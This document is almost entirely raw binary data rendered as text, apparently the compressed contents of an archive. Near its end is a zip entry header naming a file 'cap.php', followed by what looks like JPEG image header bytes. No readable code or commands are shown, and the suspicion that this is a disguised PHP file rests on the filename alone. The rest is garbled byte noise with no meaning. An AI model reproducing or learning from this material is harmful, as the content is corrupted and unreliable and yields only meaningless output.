;=Ǘa]D|DՔQ!ј%Z6Њ4ʹZb=Jg!eecoNkl1/ÅPS,{Vk5.yni̷IgaL0\Q//P:	6Gd>3\w?n6&v	u[N*z:TȔǳB[ngZ{z[ǎl-	dZKN>wQvEbӑ[)% םLd՜=enc^qT&NVuSBi"U?[6}Nv(Z>udrdU降B2+rrLk+4~zv(?wym?w]Z.Fڞex/sRZՔvX7.Q+WZa';nuu|
!Z~ɵxUBN>O%39F+ 3n]o#~|Fl$כ7q_35`*sTh_qރU[Iኗ~sC:; к@WG^g?ZrWb#<D#p:&@{^)nǇhwFva0ñ
m]u1U>?6Erȍ8mhȎ."yJ0t8tu@BOhcYP/Fo"J'Ċr+&̱Ì3uǒђ,M((	tE޻BwyC`/bomOe1R(x]PJD0RBX3ݤMlP$	k>L5WeV@p
0(f뛻$@QG1jojro ٨4@%@m2rZ/nh;Ei(zQNčfO<a	v4z1oŎK0{p9&ߊU*axҌ]ll@,5ʲlClC(7`D D=x}!edp`è{Ehtu/YT2ey(FK;b^-ע 1PZzL	"|#>Sb@(,zz\`PI [$E-DW"(ގ9Wbf瀜%jKvtv\S i»Ȫ}E@q]yuѾw
?ًz\P?>뫱}؃@WGpv7V^7?uDv`_ƷGW扨Ebn>qOh~͑)Ұ-v&1YfRhS.QYzv	<؂gq[w=^ӸFO^WzwjfͼpNG%'8t&Ңm	iA3dFtzr?:#`	3&Gz>oH/Hmد
Fj4ST	qd!$GXBl AHM;l~0BɈ?`6c1'ft 8 4$'ٖ:.MM,d|%
o(gJ
HEx6I#n_!07'Q4lF'"eppO.Ls%,S~QI*Ҷgq2ʊ laR{7bRtCp$`lnhxqob$x8 ~vG`1e9!CEzR[c,0-Qf&!X^$FG<Q[,XF8ŋЀmv88ls8@P	tZv?(qe)	kG=|8(2c|/9 %){ ߁<I_yʓS	W.t9^UIS`	^iS޻./L[J;9Yw\:tO\ަ+a[N!&`Sz6yJZǩ2T/8!B
) "D,ǌ]1&%Fc&o@|!f<G[xLh Y7}U9(A6g눒s:>'JvP]!cxvXqf6P f2$7(+r%(~2iGl~%p5`PgDS8pU\_:k=<?:Y05ץ. `p,!X:\9Sql]NR +ퟴ4sdt_P~x8Әfi`pMi`s<μ[|8&'ĤO:UMs8ZrůoTSE {h~S (={K4^l>\k}kQ.!{r6+ȥo\2s#@H$^>	98d٢T'S$1r5>ǋCnEf2)G`)HRb$	kB̆/qvBM_ѩ=Щzxl.jEW) "H+?dANLB\"کN\JT<7Bs''-;]M.pmOl3}8|\y#ȯ$~96L&d:@r`~@`-BCr=ӔPĉ$6Gŝ87Ty,qYjvű! n`iT:@ST鹯.`3U\]?(,ESoJE63˖9uhF3<*BN l䩺\78K#ѲM0ܥܶIƂ1lf?q)T{ߍL6hP.[gw'3*YCCK:4NqʑzY Sr,گAzFҏ_wZb}y6WUoo+DY:>k6}$dEߣ%CVz0XM__<[A?|}eޘ&	){8]dL[e^Zw+T/9_/P ++h&ֹGLJB$<	:.szK;1b}ff l
hhtnGPlɴ:Ɲ`SDB/	20&wT5 R!y&d1`^8.eUW{0J3Nx?S83"\DV?>8$hq%>ý#v0YƞՐXэra'C6(lU&:AZgB?Ùd[^7^3(#n&6uv4ctʹ$9H4/ؚզv	oݳRuZQHJXNKSU呣~yL"f.?{3ڲqv!X[GajS4Dk/KU<$O=W!TyԄ;^?f=ifL-+1į{L5#vA8;;S84!Ll%7L(C,ފ-ѹx"(`0u <g:?BT쫇.RdAN`>`ጸu:Hژ֩ϔ}޿Ȉ
bm|rq|L8ONNe؝+t&gT-E(%p"ܿ@pU8"j,7T{A^
~&c(E
Ѕ[I^+8Ps1r7Bn_URWu)JH;42M'-`iƾ?j|:2|}.kXFOkyd,2RlvڻY?h}D'ݝo>(D@B 0{ҿJ&*3A
c<gT31B
}RURAOOOoZc3==6kKΉ!M8AR~-=qp9oV:B {1ӝYZ=s=-Z0Qn
g.ӟem{CBە+|0Q!=4cJQvP[Q {W1G,t$tj n0`pk>DL`䢷l%.ɇ5'Kf/ބ49Ym*@İ^7v
о@kq :|p>wF\{bjl7 ؎fM	[NhCZq
c֊p+N~Zxy}eAE@ (1|r]}rr>4^a>^f?AHzpa_E
&˽$_QtEA_ZO`A[*|g$e:Qo͒W OiD{v9oB0i3}b۸I:s\$@	fE=#J/xFF~>$~5O-sV9v,*!i#~Mn]MvI2dk}
0]*JF:$tu
#gPӘSJ{NdfC$pԽ_0Ҵ5<0@Yq1S'`olDw}{c1[J4-P1b^>cPu85n[ʀvlРkkLǗX9Z!{]^\.ܓ~~ŀLk+Gni\hMIQ\3Xgg
6NwTpȣ09Na:4m޲PFM_)Am6>rxpE!/1h醩i}M;ɐu	S^Tk``D.>~1{|
k87(1HWc-Q,^ 7tDaů)X$0I6@%7n,^M{crf?YƇ5FZyv
f	xC~BgZ k]%t =S`<\1LV֠4R2T/DuV'jV (+	}L+:{-1(^47@\̮$f^4|4Q$c!pVF:PH T
DQII]j
ޫЍ{")K<(	yP$a\BB<Hҙl.X(ʕjh>ϝ.`8ǓLEՖf`(<袨]_1+w@s_/ 0xmgJNauǵ˩ GDPȧ!|c˼τ8*5 <lzf|=*Ka6o_91~/ Nz?
P򂆙}飠(@EG~VX	!.%@"x	#(,(J$
@% 0Ճ-=+:=83'0Dgz RRP!wc3>[N)dO<$wU lH.r\K.NGc lfSI*jV~)%<Ю^p+"PsRcsB5puFVlkG%dw~#CL uҖIO'*\AGIH_ї,y+8|¢,PI3>{lp_Xw0fb)Px1.37F( oqS3s=gHc|1,'KzH6~ud+슙U5U޻B-H*Bˍ 7M@-7mZQm轩M8԰-jn]R%O暥A,d@T>􀊽XwnٙFT-xD6Mg(	\o49ߨ4Z`ډuiŜqI$6FK|3xr$ɠ#L[CN5>#tg"͒Mepy^j9n5Kb9G1|m >|nXL~1K"(įiu#'L0@zg0UɈQJo,:v7$><nȁ> ZJ&1RD(@Q誊Nm>oy"1  V16@$aUО]Eǟ$iF&Ή:Խ'0VI yj}I$a}f!sf_p0G1Nt}'$ll\(pJ%K 2dTЋL{C&m6vrЙtk^\$^!#݉@MA/h=5؞CN/N[a~;l%&/SQy0AYhTڸjn鞳iq σ,/uB#+<yGZ3mEX@!"::/r6n`;}YH^u<G(~WC<K2舝DmdD'`Yh8E7F%5u)1Zx ++=&Gv$ *r2P?De%'xXߺr0DnKo!p'sC^6V(qʖ\r ,%nOǌv8].MMNœvl=g+	;riTN'D'C񰥺afSa\"5X//%K/>l6$57q;4(, @ft5NpGXEyk!uEUe$`dY5$"; P7b)UK_})<}JD9̯c:'q}
D>}NT'gOĿ魭Kuk?ZJq*E4|!X䶑>G/	fIc9$<j8ʋ_o^(=6un_ݱv^J6р2ū,2b&*73|ڨTBP2O(|o\nJ82j2(gxt J	
枡[ (H3%W2$j`-{2'AJ%WrVò2aݼ&ne@ձF[Cnix!~6F!GJDJ%XH) ޹=+ekz{#_4ɰcMnf$J}YQP代4[͟>Au].3j"eلɲWձܴ[dZ#訖d^ 0 NŤC3NVt=? ZU^ͼCYWNOR1&{},ؘ<ɜqF+f$F`hLkZm<HC'h@Xbf!'(/7f0cgrP7Yb\QсǢ:zJt3I{eKЬ	}BCϱÂФqi82k)Ȣ{oonw-[ :Fc2@nրzM;09{s(L7`I"3 b!JCf*_0Cj>SYVk2C4=Z Έ[O8]H@U7;_\P\
f64NYTDܥja8cWڣIG"s Ȁbz]I3Wr>ӐN4}fв[Q|g	4±?TSh_ǲSALmZw>dlm⦐Fڠ6&t=*koB>:>:1_q0Do扶f+1A0?@0aK~;<TK@ϗGF q`[hp;^|#G 1*Wˢ:#̺;QڠPz3]

(ۚu0J";.nދ:F>'. |`:U9e>Xhu+I	&W@[{x-~l2mqY#uaAJ~$q:dxUl/xxT!Sk1 p+`UumLCwUl1}@_Kh'}nSS)Ҷ^;u3`'mzξ
QfQ~Q~v؇t[{b訬qT THe(_NLf81(8q`P>
u9=2R
OA˖HsmE`@h4AޫP_&6y@^Jldz/">y9G}~Hfnb Q*˅gP쳜\>b[	9^X͸$+i;=e(bJ_K	KMg:ӟ~=	 1x¶IdfG2*ڵCmU̪*chrS5̮
	L!a0b֊^B\mH8z){uί78\X9Zfֻ{]fPi''EqC{T"Ge%xXl<<pƳw&`o
<0śy4dJSL+hRat-қ\%mpϧ;`B^acEV
6I@p*2L	FŃeCAE4rlɾ2%Fy171nGB3;XxjY1 ڿo `|/ITNDh-+GWT+J`S3l4n&8S6a3Sk aac(\w5 Gp1
U 0@O9F&SVd,9':~zqo:qבɕ=+ǪtgO4YX*n$yWxco:5uD!2x7(1r!TuԶXi,^YHt*|6$ks45cǱE?|<M]ϣy& 9Q{.nokWGT'Qg_3 +l5\.JW`kGMf-cn7S!p7_!|hrC^|H׉F,t_N$558XU24A7UZףMNTJkqdӲUk){`+꽽9~q8ԡ-@0B|wkuL&-3H[h1|=Pva!H~s?3_C02,a *?D[`-v)eo*_`v=t*4)q0`렜
KX6 #A/}~|pBÇ?@L>w;dW_0oW8̿ÿۿÿͿͿ_w7?=;PW7 of ;C!P?g~wkwv߃<4?qo?<wR.ÇK՟	}'	Yo_ïoӟ|38_Lܛ
?xϼ|㙷|o<槟ބүӎ.Nn9;0~/	1?p$sc f40w/t@~=.Ar]%@V<9taPn
?´n'׿2>j~ŌK۹qx5G\SKsM{~u THv*6$@*(+/08 7L#T{`QG4WMAMKEQ}Zmq~FG3{Cv}n7418 `SNt~TW&ph>
4ẸY/i4΀zաfH+aa]f2ޫ{2dįr9B`<|ݜSյ'02cL[0ǊCY$[^"(^xT[l-ʉdRȧQ@f̫ȡՌq`ÝX:½#&r1tbhjjd2/<,𱗾b1kĐm<U_hF9\cʂ,{m}̏&ɱ'MhSH0=D^ZIG\Y}'j/g4ࠬàQ*A4pm"+-@ZjX# -=P~ÝT\+_9N+
A# ޓ@lLGFTt1v":O~`C;Jh
'Sp//(7p*)HL#*ٸ(i~
˛U	/''Q
8SR'RhO"P zQ# ' oZ\DŒå^45`%PH;fvk%0!ida3{6;!23ޠSq!)3
e"1YၜEv":фF#	[gE_ՍôKRGƻIz^|o|$cنܟjNm7 ŭ<5 F- p9+cTυ>X { Aqg7-jp}@}|Ź`6$G$%kѥ|tde-!oH\ފQ 'eӽ(.>lﭏ9ظ9XAA7Y}Uz{CoQOMpoڲ2叵<7^zsꍟ -4{=?jΞZk`ֈG[C/*vw-Ǝu]5|>R P
6R COd8S!JHA>gs]#Brv^8b%i_`X
b# `M/i-♶?b#V_@YXu
xf	jDIH# G @ZjNA	;VlN\?--sw{%ΰCy)h YdAߚ4Ac&]lfsۃLs\(`Nh'áP a.L[zO,i`D&ԳX]\ɋԱز*2Ao)	z8BټǹČ֨Mg
`Pc##J9~f*)wy>6rǊ V?̥T!UKʯ',yOvpspT'CkC[r׼w{*]m;ܙBāǏhP*Ms*嘔ɄSCv^Ͻ	Ok+Q/galfziYX6pp1{g lh[F9_$Yp=ڇ/_H)Lّu @I#+Y_v]Y_>?\./ֆ40"Rh [DX|SEOt3^fg3`v/0F4OKKwaQ<`A_MZq'2֛+')a+!ES,qX68MSh;)aH1+EgxMaNF%.$eP6B:dYsi	qFf3XϸIoG`h=]^SW0'7h{6:Bu.=D}p鹈o]R. \11)1Qfn'$bIiwQ	U<gf6siޟ$g1iʖHl.4aߟq`O.S\oڥ-&Hf?CsƠ.:	!>/?xei,O__:b?PNRg9_NN4Q8Qr{WAu Gd:٬(4&a!V*ui`!(s3r>[vRux	@{//Ib0Aav^R`){i܃ڐ7Mf5FfRf<o6pJCs6\jUDkZY,UяAǠ>BEba{L~\v.HI01e*u@>c6hRin)B).]Km>( )3rW~"I{^}[gLnGڡZ/ԑ@oy-MD(|1{]^TM*.S^pJa+lR9;wEw#)iI5ΤY'9NzkP	_Nq$M^ *L
`D;;ĀDE}&ͦ7f.$B ).Fi#=MHĺ)(@gضbFhZKxiPq9!	At=]L'OL^)m0U
30z3L9h6}Q%ߑҎC4iBن$@0dͼ&
,<@r#]o2rbӊҍKhy %1~oE^#T"C>}z=S1NLO^:}=LL}j?ybsRKs_G>;+=8"wtLMOK.7?~?{DzP@19$[a!sp|5txaM+ڃ$K]YS|n*(v,%q6{(u'`]
Ir:`<U$֜A/5,ʰ|!-t>>zY V9AG	:wYbP9A7ex'Pmjd}vDJ!Lq	]bRN5u3r>x
}	-1
a!	
X9;W\[ʰo<hEwUZ!``tVՓ<)L˨LJrupYƥ4'<uAyD.2RMUʹl⭒U/}f uJ_R.xf}haGq\}8,h?g}n,6&vX
q6|1[bAdo(3k	{[-`XDiԮF鼆i%7._s`Luїr4z&#)kLKPxN@5	ӕ}k2:5{`[)(vPsL8[gN 0	:՘C4#F;G[n,JxF o mp7n2<nv.^DC9~ʍQi>%x-/rk,h>/ۅp<kL=pe,Gkz;3XumyJٙZHUyNqҺKC14WJR"bKo;|,C1(F:e;|IlJCi`0	.׎TRCzIP{bxPԒR36[)
8='G%K36=#%y.ΏJ|2vX*A,⃏ܒը
2	ÆM#`_}֢li]㩯A?iyR2mC~Y
Ӿ]Mޔro8QYϬ?.d;+ ',+yh)^oιx~(&T6HKBTi(RpQ[piLӃi~Yd=cI-VvML{c֟NMY},z,+u߮3Թm=By(4&r;ƒ]Hp[*4EZP/:jB"͂f"\[,`&i;@dTƬffYwyx S6ާIO<nezi.nuLyՕ4Lzi>=:m~4kf~
i֪Org\tԸ>:TgܚgMIL'E+45Q=3(uzE(#)B%mnBX;e'RV\+S
z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

